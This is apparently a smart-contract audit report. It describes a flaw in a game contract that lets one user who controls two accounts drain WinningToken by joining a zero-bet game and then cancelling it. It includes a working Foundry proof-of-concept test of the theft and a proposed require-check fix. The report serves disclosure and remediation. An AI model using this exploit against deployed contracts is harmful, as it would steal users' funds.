Summary
The game.bet
of a game created by createGameWithToken
is 0. Another player can join this game without any restrictions by joinGameWithEth
with 0 ether of payment. The game can be cancelled then and returns funds (WinningToken) to players. The cancel operation assumes that the player has paid WinningToken
. This allows anyone to steal WinningToken by controlling two accounts at the same time.
Impact
Users can steal WinningToken.
Proof Of Concept
forge test --mt testStealWinningToken -vvvv
function testStealWinningToken() public {
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 10);
assertEq(token.balanceOf(address(game)), 0);
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
assertEq(token.balanceOf(playerA), 9);
assertEq(token.balanceOf(address(game)), 1);
vm.startPrank(playerB);
game.joinGameWithEth(gameId);
vm.stopPrank();
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
assertEq(playerA.balance, 10 ether);
assertEq(playerB.balance, 10 ether);
assertEq(token.balanceOf(playerA), 10);
assertEq(token.balanceOf(playerB), 11);
assertEq(token.balanceOf(address(game)), 1);
}
Tools Used
Manual Review
Recommendations
The game.bet
must be greater than minBet
when a user joins a game by joinGameWithEth
.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.bet >= minBet, "You join a wrong game!")
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}